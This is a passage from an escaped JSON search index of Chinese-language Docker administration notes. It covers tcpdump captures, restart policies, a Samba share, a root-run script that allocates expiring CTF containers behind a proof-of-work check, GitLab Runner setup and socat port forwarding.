/tmp/pcapfiles:/data nicolaka/netshoot tcpdump -i eth0 -n -s0 -w /data/nginx.pcap port 80\\n</code></pre> <p>\\u67e5\\u770btcpdump\\u53c2\\u6570\\u89e3\\u91caexplainshell</p>\"},{\"location\":\"Docker/#_9\",\"title\":\"\\u4fee\\u6539\\u6b63\\u5728\\u8fd0\\u884c\\u7684\\u5bb9\\u5668\\u7684\\u91cd\\u542f\\u7b56\\u7565\",\"text\":\"<p>docker run\\u7684\\u65f6\\u5019\\u5fd8\\u4e86\\u6307\\u5b9arestart=always\\uff0c\\u9664\\u4e86commit\\u540e\\u518d\\u6b63\\u786e\\u5730run\\u4e00\\u904d\\u4e4b\\u5916\\u6709\\u6ca1\\u6709\\u66f4\\u52a0\\u4f18\\u96c5\\u7684\\u4fee\\u6539\\u5bb9\\u5668\\u53c2\\u6570\\u7684\\u65b9\\u6cd5\\u5462\\uff1f</p> <p>\\u53c2\\u8003\\uff1a https://stackoverflow.com/questions/26852321/docker-add-a-restart-policy-to-a-container-that-was-already-created</p> <p>\\u57281.11\\u7248\\u672c\\u540e\\u6709\\u4e86<code>docker update</code>\\u8fd9\\u4e2a\\u547d\\u4ee4\\uff0c\\u53ef\\u4ee5\\u4fee\\u6539\\u6b63\\u5728\\u8fd0\\u884c\\u7684\\u5bb9\\u5668\\u7684\\u53c2\\u6570\\uff0c\\u5982CPU\\u9650\\u5236\\u3001\\u5185\\u5b58\\u9650\\u5236 \\u548c \\u91cd\\u542f\\u7b56\\u7565</p> <p>\\u4f7f\\u76ee\\u524d\\u8fd0\\u884c\\u7684\\u6240\\u6709\\u5bb9\\u5668\\u90fd\\u8bbe\\u7f6e\\u4e3a\\u81ea\\u52a8\\u91cd\\u542f\\uff1a</p> <pre><code>docker update --restart=always `docker ps -q`\\n</code></pre> <p>\\u5982\\u679c\\u8981\\u53d6\\u6d88\\u8fd9\\u4e2a\\u81ea\\u52a8\\u91cd\\u542f\\uff0c\\u6539\\u4e3a<code>--restart=no</code>\\u5373\\u53ef</p>\"},{\"location\":\"Docker/#samba\",\"title\":\"\\u5feb\\u901f\\u90e8\\u7f72samba\",\"text\":\"<p>@TAG share</p> <p>\\u955c\\u50cf\\u5730\\u5740\\uff1adperson/samba</p> <p>\\u5feb\\u901f\\u5206\\u4eab\\u4e00\\u4e2a\\u76ee\\u5f55/data\\uff0c\\u7528\\u6237\\u540d<code>user</code>\\u5bc6\\u7801<code>badpassword</code>\\uff1a</p> <pre><code>docker run -d -p 139:139 -p 445:445 --name samba -v /data:/data dperson/samba -u \\\"user;badpassword\\\" -s \\\"data;/data;yes;no;no;all\\\"\\n</code></pre> <p>\\u5176\\u4e2d-u\\u6307\\u5b9a\\u7528\\u6237\\u540d\\u5bc6\\u7801\\uff1b-s\\u53c2\\u6570\\u7684\\u683c\\u5f0f\\u4e3a\\uff1a</p> <p>\\u7ed9\\u8bbf\\u95ee\\u8005\\u770b\\u7684\\u5206\\u4eab\\u540d\\u79f0;\\u7269\\u7406\\u4f4d\\u7f6e;\\u662f\\u5426\\u5217\\u51fa;\\u672a\\u767b\\u5f55\\u53ef\\u5426\\u8bbf\\u95ee;\\u5141\\u8bb8\\u8bbf\\u95ee\\u7684\\u7528\\u6237(all\\u8868\\u793a\\u6240\\u6709\\u7528\\u6237)</p>\"},{\"location\":\"Docker/#_10\",\"title\":\"\\u6309\\u9700\\u5206\\u914d\\u5bb9\\u5668 \\u8fc7\\u671f\\u81ea\\u52a8\\u9500\\u6bc1\",\"text\":\"<p>@TAG ctf xinetd</p> <p>\\u6709\\u4e9b\\u9898\\u76ee\\u9700\\u8981\\u7ed9\\u6bcf\\u4e2a\\u4eba\\u5355\\u72ec\\u7684\\u5bb9\\u5668\\uff0c\\u4e3a\\u4e86\\u8282\\u7ea6\\u8d44\\u6e90\\u8fd8\\u9700\\u8981\\u8bbe\\u7f6e\\u4e00\\u4e2a\\u65f6\\u95f4\\uff0c\\u8fc7\\u671f\\u540e\\u81ea\\u52a8\\u5220\\u9664\\u5bb9\\u5668</p> <p>\\u4e3a\\u4e86\\u9632\\u6b62\\u6ee5\\u7528\\u8fd8\\u8981\\u5f15\\u5165Proof Of Work\\uff0c\\u56de\\u7b54\\u6b63\\u786e\\u540e\\u624d\\u5206\\u914d\\u5bb9\\u5668</p> <p>Warning</p> <p>\\u8be5\\u4ee3\\u7801\\u76f4\\u63a5\\u7528\\u7684docker\\u547d\\u4ee4\\u6765\\u521b\\u5efa\\u5bb9\\u5668\\uff0c\\u4e14\\u9700\\u8981root\\u6743\\u9650\\uff0c\\u6ce8\\u610f\\u4f7f\\u7528\\u4e0a\\u7684\\u5b89\\u5168\\u98ce\\u9669</p> <p>\\u4ee3\\u7801\\u5982\\u4e0b\\uff1a<code>utils.py</code></p> <pre><code>#/usr/bin/python3\\n#coding:utf-8\\nimport subprocess\\nimport time\\nimport string\\nimport os\\nimport hashlib\\nimport random\\nfrom random import randint\\n\\n# \\u9650\\u65f6\\u8bbe\\u5b9a\\ndef clock(timeout=5):\\n    import signal\\n    def signal_handler(signum,data):\\n        if signum == signal.SIGALRM:\\n            print(\\\"Time is up!\\\")\\n            exit()\\n    signal.signal(signal.SIGALRM, signal_handler)\\n    signal.alarm(int(timeout))\\n\\n# \\u751f\\u6210\\u968f\\u673a\\u5b57\\u7b26\\u4e32\\ndef randomstring(len=5):\\n    return ''.join(random.sample(string.ascii_letters,len))\\n\\n# \\u8ba1\\u7b97md5\\ndef md5(src):\\n    return hashlib.md5(bytes(src,encoding='utf-8')).hexdigest()\\n\\n# \\u663e\\u793a\\u4e00\\u4e2a\\u968f\\u673a\\u5b57\\u7b26\\u4e32\\uff0c\\u8981\\u6c42\\u7528\\u6237\\u8ba1\\u7b97\\u5176md5\\ndef pow_calcmd5():\\n    question = randomstring()\\n    answer = md5(question)\\n    print(\\\"Please calculate md5(%s)=\\\"%question,end='')\\n    if input()!=answer:\\n        exit()\\n\\n# \\u663e\\u793a\\u4e00\\u4e2a\\u968f\\u673a\\u5b57\\u7b26\\u4e32\\uff0c\\u8981\\u6c42\\u7528\\u6237\\u8f93\\u5165\\u53e6\\u4e00\\u4e2a\\u5b57\\u7b26\\u4e32\\u6ee1\\u8db3md5\\u4ee5difficulty\\u4e2a0\\u5f00\\u5934\\ndef pow_realmd5(difficulty=4):\\n    question = randomstring()\\n    print(\\\"[Proof Of Work]\\\")\\n    print(\\\"Please calculate s, make that \\\\n    md5(\\\\\\\"%s\\\\\\\"+s).startswith('%s')\\\"%(question,'0'*difficulty))\\n    print(\\\"Input your s:\\\",end='')\\n    s = input()\\n    if not md5(question+s).startswith('0'*difficulty):\\n        exit()\\n\\n# \\u4ece\\u955c\\u50cf\\u542f\\u52a8\\u5bb9\\u5668\\ndef start_container(image, port, paramstring):\\n\\\"\\\"\\\"\\n    image:\\u955c\\u50cf\\u540d\\u79f0\\n    port: \\u9700\\u8981\\u6620\\u5c04\\u7684\\u7aef\\u53e3\\n    paramstring: \\u989d\\u5916\\u7684\\u53c2\\u6570\\u8bbe\\u7f6e\\u5b57\\u7b26\\u4e32 \\u5982\\\"-v /d/blabla:/data\\\"\\n\\n    \\u8fd4\\u56de(\\u5bb9\\u5668ID, \\u6620\\u5c04\\u5f97\\u5230\\u7684\\u7aef\\u53e3)\\n    \\\"\\\"\\\"\\n    container = subprocess.check_output(\\\"docker run -d -p :\\\"+str(port)+\\\" \\\"+paramstring+\\\" \\\"+image+\\\" /run.sh\\\",shell=True).decode().replace(\\\"\\\\n\\\",\\\"\\\")\\n    inspect = subprocess.check_output(\\\"docker inspect --format '{{.NetworkSettings.Ports}}' %s\\\"%container,shell=True).decode().replace(\\\"\\\\n\\\",\\\"\\\")\\n    openport = inspect.split(\\\"{\\\")[1].split()[1].split(\\\"}\\\")[0]\\n    return (container, openport)\\n\\n# \\u8ba1\\u5212\\u5728minutes\\u5206\\u949f\\u540e\\u9500\\u6bc1\\u5bb9\\u5668container \\u9700\\u8981atd\\u670d\\u52a1\\ndef plan_stop_container(container, minutes):\\n    PATH = os.getcwd()\\n    minutes = str(minutes)\\n    filename = \\\"%s_%d\\\"%(time.strftime(\\\"%Y_%m_%d_%H_%M_%S\\\"),randint(0,666))\\n    open(PATH+\\\"/\\\"+filename,\\\"w\\\").write(\\\"docker kill %s &amp;&amp; docker rm %s &amp;&amp; rm %s/%s\\\"%(container,container,PATH,filename))\\n    subprocess.check_output(\\\"at now + %s minutes -f %s 2&gt;/dev/null\\\"%(minutes,filename),shell=True)\\n\\n# \\u751f\\u6210\\u4e00\\u4e2arunner\\u7684\\u4e8c\\u8fdb\\u5236\\u7a0b\\u5e8f\\uff0cxinetd\\u5e76\\u4e0d\\u652f\\u6301\\u76f4\\u63a5\\u8fd0\\u884cpython\\nif __name__ == \\\"__main__\\\":\\n    print(\\\"[*] writing to runner.c\\\")\\n    path = os.getcwd()\\n    open(\\\"runner.c\\\",\\\"w\\\").write(\\\"\\\"\\\"#include &lt;stdio.h&gt;\\n#include &lt;stdlib.h&gt;\\n#include &lt;unistd.h&gt;\\nint main(){\\n   chdir(\\\"%s\\\");\\n   system(\\\"python3 %s/runner.py\\\");\\n   return 0;\\n}\\n\\\"\\\"\\\"%(path, path))\\n    print(\\\"[*] compile runner.c to runner\\\")\\n    os.system(\\\"gcc runner.c -o runner\\\")\\n</code></pre> <p>\\u7528\\u5230\\u7684xinetd\\u914d\\u7f6e\\uff1a<code>runner.conf</code>\\uff0c\\u6ce8\\u610f\\u4fdd\\u5b58\\u7684\\u65f6\\u5019\\u4e0d\\u80fd\\u6709\\\\r <code>:set ff=unix</code></p> <pre><code>service \\u9898\\u76ee\\u540d\\u79f0\\n{\\n    socket_type = stream\\nprotocol    = tcp\\nwait        = no\\nuser        = root\\nbind        = 0.0.0.0\\nserver      = /\\u7edd\\u5bf9\\u8def\\u5f84/runner\\ntype        = UNLISTED\\nport        = \\u7aef\\u53e3\\u53f7\\n    disable = no\\n}\\n</code></pre>\"},{\"location\":\"Docker/#ab\",\"title\":\"\\u5728\\u5bb9\\u5668A\\u4e2d\\u4f7f\\u7528\\u522b\\u540d\\u8bbf\\u95ee\\u5bb9\\u5668B\",\"text\":\"<p>\\u5bb9\\u5668A\\u662fweb\\u5e94\\u7528\\uff0c\\u9700\\u8981\\u8bbf\\u95eeredis\\u7684\\u5bb9\\u5668B\\uff0c\\u5982\\u679c\\u7528docker inspect\\u62ff\\u5230\\u73b0\\u5728\\u5bb9\\u5668B\\u7684IP\\u5199\\u5165\\u5230\\u914d\\u7f6e\\uff0c\\u4e00\\u65e6docker\\u91cd\\u542f\\u8fd9\\u4e2a\\u5bb9\\u5668IP\\u5c31\\u4f1a\\u53d1\\u751f\\u53d8\\u5316</p> <p>\\u66f4\\u597d\\u7684\\u65b9\\u5f0f\\u662f\\u4f7f\\u7528docker\\u7684\\u81ea\\u5b9a\\u4e49\\u7f51\\u7edc\\uff1a\\u521b\\u5efa\\u7f51\\u7edc\\uff0c\\u628aredis\\u52a0\\u5165\\u7f51\\u7edc\\uff0c\\u628aapp\\u52a0\\u5165\\u7f51\\u7edc</p> <pre><code>docker network create useredis\\ndocker network connect --alias redis useredis redis\\ndocker network connect --alias app useredis app\\n</code></pre> <p>\\u5728\\u52a0\\u5165\\u7f51\\u7edc\\u7684\\u65f6\\u5019\\u6307\\u5b9a\\u2013alias\\u5373\\u53ef\\uff0c\\u7f51\\u7edc\\u4e2d\\u7684\\u5176\\u4ed6\\u5bb9\\u5668\\u5c31\\u80fd\\u901a\\u8fc7\\u8fd9\\u4e2aalias\\u8bbf\\u95ee\\u5230\\uff0c\\u8fd9\\u6837\\u64cd\\u4f5c\\u540eapp\\u5bb9\\u5668\\u91cc\\u9762\\u5c31\\u80fdping redis\\u4e86</p>\"},{\"location\":\"Docker/#docker1802start\",\"title\":\"\\u4fee\\u590dDocker\\u66f4\\u65b0\\u523018.02\\u540e\\u90e8\\u5206\\u5bb9\\u5668\\u65e0\\u6cd5start\\u7684\\u95ee\\u9898\",\"text\":\"<p>apt\\u8bf4\\u53ef\\u4ee5\\u66f4\\u65b0\\uff0c\\u4e8e\\u662f\\u5c31\\u66f4\\u65b0\\u4e86\\uff0c\\u7136\\u800c\\u5374\\u60b2\\u50ac\\u5730\\u53d1\\u73b0\\u90e8\\u5206\\u5bb9\\u5668\\u65e0\\u6cd5\\u542f\\u52a8\\uff0c\\u62a5\\u9519\\u4fe1\\u606f\\uff1a</p> <pre><code>docker start &lt;container_name&gt; returns \\\"container &lt;hash&gt; already exists\\\"\\n</code></pre> <p>Google\\u627e\\u5230\\u4e86\\u76f8\\u5173issue\\u5728\\u8fd9\\u91cc</p> <p>\\u4e0d\\u5220\\u5bb9\\u5668\\u91cd\\u5efa\\u3001\\u4e0d\\u56de\\u6edaDocker\\u7684\\u89e3\\u51b3\\u65b9\\u6848\\u4e3a\\uff1a</p> <pre><code>sudo docker-containerd-ctr --namespace moby --address /run/docker/containerd/docker-containerd.sock c rm `docker inspect --format '{{.Id}}' \\u65e0\\u6cd5\\u542f\\u52a8\\u7684\\u5bb9\\u5668\\u540d\\u79f0`\\n</code></pre> <p>\\u6ce8\\u610f\\u9700\\u8981\\u8f93\\u5165\\u7684\\u662f\\u90a3\\u4e2a\\u5f88\\u957f\\u7684\\u5bb9\\u5668id\\uff0c\\u6240\\u4ee5\\u5148\\u7528docker inspect\\u83b7\\u53d6\\u5176\\u957fId</p> <p>\\u5982\\u679cdocker-containerd-ctr \\u4e0d\\u5b58\\u5728\\uff0c\\u4e5f\\u8bb8\\u4f60\\u4f7f\\u7528\\u7684\\u662fDocker for mac\\uff0c\\u9700\\u8981\\u8fd9\\u4e48\\u64cd\\u4f5c\\uff1a</p> <pre><code>docker run -it --rm -v /:/host alpine /host/usr/local/bin/docker-containerd-ctr  --namespace moby --address /host/run/docker/containerd/docker-containerd.sock c rm \\u51fa\\u9519\\u7684\\u5bb9\\u5668id\\n</code></pre>\"},{\"location\":\"Docker/#docker-exec-it\",\"title\":\"\\u89e3\\u51b3docker exec -it\\u8fdb\\u5165\\u5bb9\\u5668\\u5c4f\\u5e55\\u5927\\u5c0f\\u4e0d\\u5bf9\\u7684\\u95ee\\u9898\",\"text\":\"<p>\\u53d1\\u73b0docker exec -it\\u8fdb\\u5165\\u5bb9\\u5668\\u7684bash\\u540etty\\u7684\\u5927\\u5c0f\\u4e0d\\u5bf9 \\u53ea\\u670980x24\\uff0c\\u53c2\\u8003\\u8fd9\\u4e2a https://github.com/moby/moby/issues/35407</p> <p>\\u89e3\\u51b3\\u65b9\\u6848\\uff1a\\u5728\\u8fdb\\u5165\\u5bb9\\u5668\\u65f6\\u914d\\u7f6e\\u73af\\u5883\\u53d8\\u91cfCOLUMNS\\u548cLINES\\u4e3a\\u6b63\\u786e\\u503c\\u5373\\u53ef\\uff0c\\u4e3a\\u4e86\\u4fbf\\u4e8e\\u64cd\\u4f5c\\u4e0e\\u8bb0\\u5fc6\\uff0c\\u5199~/.bashrc\\u54af\\uff1a</p> <pre><code>function din(){\\n    docker exec -ti --env COLUMNS=`tput cols` --env LINES=`tput lines` $1 /bin/bash\\n}\\nalias din=din\\n</code></pre> <p>\\u4f7f\\u7528\\u7684\\u65f6\\u5019\\u53ea\\u9700\\u8981<code>din \\u5bb9\\u5668\\u540d\\u79f0</code>\\u5c31\\u80fd\\u8fdb\\u5165\\u5bb9\\u5668bash\\u5566\\uff0c\\u8fd9\\u6837\\u8fdb\\u5165\\u5bb9\\u5668vim\\u4e5f\\u80fd\\u5168\\u5c4f\\u5e55\\u663e\\u793a\\u4e86</p>\"},{\"location\":\"Docker/#docker-pull\",\"title\":\"\\u4e0d\\u4f7f\\u7528docker pull\\u4e5f\\u80fd\\u4e0b\\u8f7d\\u5230\\u955c\\u50cf\",\"text\":\"<p>\\u8be5\\u811a\\u672c\\u5b58\\u5728\\u95ee\\u9898\\uff0c\\u4e0b\\u8f7d\\u5230\\u7684\\u955c\\u50cf\\u5c42\\u53ef\\u80fd\\u65e0\\u6cd5\\u5bfc\\u5165\\uff0c\\u4ecd\\u5f85\\u7814\\u7a76</p> <p>github\\u4e0a\\u5b98\\u65b9\\u6709\\u4e0b\\u8f7d\\u811a\\u672c\\uff1a https://github.com/moby/moby/blob/master/contrib/download-frozen-image-v2.sh</p> <p>\\u4f7f\\u7528\\u7684\\u65f6\\u5019\\u7b2c\\u4e00\\u4e2a\\u53c2\\u6570\\u662f\\u76ee\\u5f55\\u540d\\u79f0\\uff0c\\u7b2c\\u4e8c\\u4e2a\\u662f\\u955c\\u50cf\\u540d\\u79f0:latest\\uff0c\\u5176\\u4e2d:tag\\u662f\\u5fc5\\u987b\\u8981\\u5199\\u7684</p> <p>\\u4e0b\\u8ff0\\u547d\\u4ee4\\u4e0b\\u8f7d\\u811a\\u672c\\uff0c\\u66ff\\u6362\\u4e3a\\u4ece\\u963f\\u91cc\\u4e91\\u4e0b\\u8f7d\\uff0c\\u6700\\u540e\\u6253\\u5305\\u6210golang.tar \\uff08\\u7531\\u4e8e\\u4e0b\\u8f7d\\u5230\\u7684layer\\u7684tar\\u5305\\u5df2\\u7ecf\\u662fgzip\\u538b\\u7f29\\u8fc7\\u7684 \\u6ca1\\u5fc5\\u8981\\u518d7zip\\u538b\\u7f29\\uff09</p> <pre><code>wget https://raw.githubusercontent.com/moby/moby/master/contrib/download-frozen-image-v2.sh\\nsed -i 's/registry-1.docker.io/h0kyslzs.mirror.aliyuncs.com/g' download-frozen-image-v2.sh\\nsed -i 's/token=\\\"$(/token=\\\"\\\" #/g' download-frozen-image-v2.sh\\nchmod +x download-frozen-image-v2.sh\\n./download-frozen-image-v2.sh /tmp/golang google/golang:latest\\ntar -vf golang.tar -cC '/tmp/golang' . </code></pre> <p>\\u7136\\u540e\\u5c31\\u53ef\\u4ee5\\u4f20\\u8f93golang.tar\\uff0c\\u5bfc\\u5165\\u65b9\\u6cd5\\u5f88\\u7b80\\u5355</p> <pre><code>docker load &lt; golang.tar\\n</code></pre>\"},{\"location\":\"Docker/#docker-daemon\",\"title\":\"\\u542f\\u52a8\\u53e6\\u4e00\\u4e2aDocker Daemon\\u8fdb\\u7a0b\",\"text\":\"<p>\\u6709\\u65f6\\u5019\\u9700\\u8981\\u8fdb\\u884cbuild\\u64cd\\u4f5c\\uff0c\\u53d1\\u73b0\\u6839\\u76ee\\u5f55\\u5269\\u4f59\\u7a7a\\u95f4\\u4e0d\\u591f\\u4e86\\uff0c\\u4f46\\u53e6\\u5916\\u4e00\\u5757\\u786c\\u76d8\\u8fd8\\u6709\\u7a7a\\u95f4\\uff0c\\u6574\\u4f53\\u8fc1\\u79fb/var/lib/docker\\u6216\\u5408\\u5e76\\u4e24\\u4e2a\\u786c\\u76d8\\u4e3alvm\\u53c8\\u4e0d\\u73b0\\u5b9e\\uff0c\\u8fd9\\u65f6\\u5c31\\u53ef\\u4ee5\\u5f00\\u542f\\u4e00\\u4e2a\\u65b0\\u7684Docker Daemon\\uff0c\\u628aDocker\\u4f7f\\u7528\\u7684\\u76ee\\u5f55\\u8bbe\\u7f6e\\u4e3a\\u53e6\\u4e00\\u5757\\u786c\\u76d8</p> <p>\\u53c2\\u8003\\uff1ahttp://blog.alpaca.ai/run-multiple-docker-daemons-with-net-container/</p> <p>docker\\u5de5\\u4f5c\\u76ee\\u5f55\\u5047\\u8bbe\\u4e3a/home/cy/docker</p> <p>\\u7b2c\\u4e00\\u6b21\\u6267\\u884c\\uff1a</p> <pre><code>OFFSET=0\\nu=\\\"cy\\\"\\nBRIDGE_NAME=br_${u}\\nDOCKER_ROOT=/home/${u}/docker\\nmkdir -p ${DOCKER_ROOT}\\nbrctl addbr ${BRIDGE_NAME}\\nSUBNET=$(expr 52 + ${OFFSET})\\nip addr add 172.18.${SUBNET}.1/24 dev ${BRIDGE_NAME}\\nip link set dev ${BRIDGE_NAME} up\\niptables -t nat -A POSTROUTING -j MASQUERADE -s 172.18.${SUBNET}.0/24 -d 0.0.0.0/0\\n</code></pre> <p>\\u8fd0\\u884cdockerd\\u6267\\u884c\\uff1a</p> <pre><code>u=\\\"cy\\\"\\nBRIDGE_NAME=br_${u}\\nDOCKER_ROOT=/home/${u}/docker\\n      dockerd -D \\\\\\n        -g ${DOCKER_ROOT}/g \\\\\\n        --exec-root=${DOCKER_ROOT}/e \\\\\\n        -b ${BRIDGE_NAME} \\\\\\n        --dns=8.8.8.8 \\\\\\n        --iptables=true \\\\\\n        -H unix://${DOCKER_ROOT}/docker.sock \\\\\\n        -p ${DOCKER_ROOT}/docker.pid\\n</code></pre>\"},{\"location\":\"Docker/#dockergitlab-ci\",\"title\":\"\\u914d\\u7f6e\\u4f7f\\u7528Docker\\u7248\\u672c\\u7684Gitlab CI\",\"text\":\"<p>\\u53c2\\u8003\\u6587\\u6863\\uff1a</p> <ul> <li>\\u5b98\\u65b9\\u6559\\u7a0b https://docs.gitlab.com/runner/</li> <li>\\u9ad8\\u7ea7\\u914d\\u7f6e https://docs.gitlab.com/runner/configuration/advanced-configuration.html</li> </ul> <p>\\u4eba\\u5bb6\\u8fd9\\u4e1c\\u897f\\u672c\\u8d28\\u4e0a\\u662f\\u4e00\\u4e2adocker\\u5bb9\\u5668\\uff0c\\u4f46\\u662f\\u628a\\u4e3b\\u673a\\u7684docker sock\\u4f20\\u5165\\u5230\\u5bb9\\u5668\\u4e2d\\uff0c\\u6240\\u4ee5\\u5bb9\\u5668\\u5185\\u53ef\\u4ee5\\u521b\\u5efa\\u5bb9\\u5668</p> <p>\\u6211\\u8fd9\\u91cc\\u7684\\u6559\\u7a0b\\u7740\\u91cd\\u89e3\\u51b3\\u4e24\\u4e2a\\u95ee\\u9898\\uff1a\\u4f7f\\u7528\\u81ea\\u5b9a\\u4e49\\u7684\\u955c\\u50cf\\uff0c\\u8bbe\\u7f6eDNS</p>\"},{\"location\":\"Docker/#pullrunner\",\"title\":\"\\u7b2c\\u4e00\\u6b65\\u5f53\\u7136\\u662fpull\\u4eba\\u5bb6\\u7684runner\\u955c\\u50cf\\u54af\",\"text\":\"<pre><code>docker pull gitlab/gitlab-runner\\n</code></pre>\"},{\"location\":\"Docker/#citoken\",\"title\":\"\\u7b2c\\u4e8c\\u6b65 \\u83b7\\u53d6CI\\u8fde\\u63a5\\u65f6\\u9700\\u8981\\u7684token\",\"text\":\"<p>\\u5728\\u7ba1\\u7406\\u5458\\u754c\\u9762 Overview\\u4e0bRunners\\u70b9\\u5f00\\u5373\\u53ef\\u770b\\u5230 </p> <p>\\u7f51\\u5740\\uff1a /admin/runners</p>\"},{\"location\":\"Docker/#_11\",\"title\":\"\\u7b2c\\u4e09\\u6b65 \\u6ce8\\u518c\\u4ee5\\u751f\\u6210\\u521d\\u59cb\\u7684\\u914d\\u7f6e\\u4fe1\\u606f\",\"text\":\"<p>\\u53c2\\u8003https://docs.gitlab.com/runner/register/index.html#docker</p> <p>\\u5047\\u8bbe\\u5bb9\\u5668\\u914d\\u7f6e\\u6587\\u4ef6\\u4fdd\\u5b58\\u5728/dockerfiles/gitlabrunner\\u4e2d\\uff0c\\u5176\\u4e2ddocker-image\\u662f\\u9ed8\\u8ba4\\u8dd1\\u4efb\\u52a1\\u7684\\u955c\\u50cf</p> <pre><code>docker run --rm -t -i -v /dockerfiles/gitlabrunner:/etc/gitlab-runner --dns 10.0.0.1 gitlab/gitlab-runner  register  --non-interactive \\\\\\n--url \\\"https://gitlab.com/\\\" \\\\\\n--registration-token \\\"\\u4e0a\\u4e00\\u6b65\\u83b7\\u5f97\\u7684token\\\" \\\\\\n--executor \\\"docker\\\" \\\\\\n--docker-image myubuntu:latest \\\\\\n--description \\\"docker-runner\\\" \\\\\\n--run-untagged \\\\\\n--locked=\\\"false\\\"\\n</code></pre>\"},{\"location\":\"Docker/#_12\",\"title\":\"\\u7b2c\\u56db\\u6b65 \\u4fee\\u6539\\u914d\\u7f6e\\u6587\\u4ef6\",\"text\":\"<p>\\u53c2\\u8003\\u9ad8\\u7ea7\\u914d\\u7f6e https://docs.gitlab.com/runner/configuration/advanced-configuration.html \\u548c https://docs.gitlab.com/runner/executors/docker.html#how-pull-policies-work</p> <pre><code>cd /dockerfiles/gitlabrunner #\\u4f60\\u7684\\u914d\\u7f6e\\u6587\\u4ef6\\u76ee\\u5f55\\nsudo vim config.yml\\n</code></pre> <p>\\u4e3a\\u4e86\\u8dd1\\u672c\\u5730\\u5df2\\u7ecf\\u5b58\\u5728\\u7684\\u955c\\u50cf\\uff08\\u9ed8\\u8ba4\\u4e3aalways\\u8868\\u793a\\u53ea\\u80fd\\u8dd1dockerhub\\u4e0a\\u7684\\uff09\\uff0c\\u5728[runners.docker]\\u4e2d\\u9700\\u8981\\u6dfb\\u52a0\\uff1a</p> <pre><code>pull_policy = \\\"never\\\"\\n</code></pre> <p>\\u6216\\u8005\\u8fd9\\u91cc\\u4f60\\u4e5f\\u53ef\\u4ee5\\u4f7f\\u7528\\u201dif-not-present\\u201d \\u4e0d\\u5b58\\u5728\\u5c31pull</p> <p>\\u53e6\\u5916 \\u5982\\u679c\\u9700\\u8981\\u4fee\\u6539\\u5bb9\\u5668DNS\\uff0c\\u4e5f\\u6dfb\\u52a0\\u8fdb\\u53bb\\u5373\\u53ef</p> <pre><code>dns = [\\\"10.0.0.1\\\"]\\n</code></pre>\"},{\"location\":\"Docker/#runner\",\"title\":\"\\u7b2c\\u4e94\\u6b65 \\u542f\\u52a8runner\\u5bb9\\u5668\",\"text\":\"<p>\\u5982\\u679c\\u9700\\u8981\\u6539dns\\uff0c\\u8fd9\\u91cc\\u4e5f\\u522b\\u5fd8\\u8bb0\\u5199\\u4e0a</p> <pre><code>docker run -d --name gitlab-runner --restart always \\\\\\n  -v /dockerfiles/gitlabrunner:/etc/gitlab-runner \\\\\\n  -v /var/run/docker.sock:/var/run/docker.sock \\\\\\n  --dns 10.0.0.1 \\\\\\n  gitlab/gitlab-runner:latest\\n</code></pre>\"},{\"location\":\"Docker/#repo\",\"title\":\"\\u7b2c\\u516d\\u6b65 \\u521b\\u5efa\\u4e00\\u4e2a\\u65b0\\u7684repo\\u6765\\u6d4b\\u8bd5\\u4e00\\u4e0b\\u5427\",\"text\":\"<p>\\u65b0\\u5efa<code>.gitlab-ci.yml</code>\\u6587\\u4ef6\\uff0c\\u8fd9\\u91cc\\u4f7f\\u7528\\u81ea\\u5df1\\u7f16\\u8bd1\\u7684myubuntu\\u955c\\u50cf</p> <pre><code>image: myubuntu:latest\\ntest:app:\\nscript:\\n- echo ok\\n- curl ip.cn\\n</code></pre> <p>\\u7136\\u540e\\u5728gitlab\\u7684\\u4ed3\\u5e93\\u9875\\u9762 \\u6700\\u65b0\\u7684\\u4e00\\u6b21commit message\\u53f3\\u4fa7\\u5c31\\u6709CI\\u6210\\u529f\\u4e0e\\u5426\\u72b6\\u6001\\u7684\\u56fe\\u6807 \\u70b9\\u8fdb\\u53bb\\u770b\\u8be6\\u7ec6\\u65e5\\u5fd7\\u54af</p>\"},{\"location\":\"Docker/#socat\",\"title\":\"\\u4e3a\\u5df2\\u7ecf\\u5b58\\u5728\\u7684\\u5bb9\\u5668\\u521b\\u5efa\\u4e34\\u65f6\\u7aef\\u53e3\\u6620\\u5c04 socat\",\"text\":\"<p>@TAG \\u7aef\\u53e3\\u8f6c\\u53d1</p> <p>\\u51fa\\u4e8e\\u5b66\\u4e60\\u76ee\\u7684\\uff0c\\u60f3\\u5feb\\u901f\\u5730\\u5efa\\u7acb\\u4e00\\u4e0b\\u4e34\\u65f6\\u7684Docker\\u5bb9\\u5668\\u7aef\\u53e3\\u6620\\u5c04</p> <p>\\u7528socat\\u54af\\uff1a</p> <pre><code>socat TCP4-LISTEN:9300,fork TCP4:172.17.0.3:9300\\n</code></pre> <p>\\u5982\\u679c\\u6ca1\\u6709socat\\uff0c\\u53ef\\u4ee5\\uff1a</p> <pre><code>docker run -ti --rm --net host bobrik/socat TCP4-LISTEN:9300 TCP4:172.17.0.3:9300\\n</code></pre>\"},{\"location\":\"Docker/#_13\",\"title\":\"\\u67e5\\u770b\\u6240\\u6709\\u5bb9\\u5668\\u5185\\u5b58\\u5360\\u7528 \\u5e76\\u6392\\u5e8f\",\"text\":\"<p><code>docker stats</code>\\u5c31\\u80fd\\u770b\\u5230\\u5b9e\\u65f6\\u66f4\\u65b0\\u7684\\u7ed3\\u679c\\uff0c\\u4f46\\u5e76\\u6ca1\\u6709\\u63d0\\u4f9b\\u6392\\u5e8f\\u529f\\u80fd</p> <pre><code>docker stats --no-stream|sort -h -r -k 4,4\\n</code></pre> <p>\\u6392\\u5e8f\\u5217\\u5bf9\\u5e94\\u5173\\u7cfb\\u5982\\u4e0b\\uff1a</p> \\u5217\\u53f7 \\u5217\\u540d 3 CPU 4 \\u5185\\u5b58 8 \\u7f51\\u7edc\\u6d41\\u5165 10 \\u7f51\\u7edc\\u6d41\\u51fa 11 \\u6587\\u4ef6\\u5199\\u5165 13 \\u6587\\u4ef6\\u8bfb\\u53d6 14 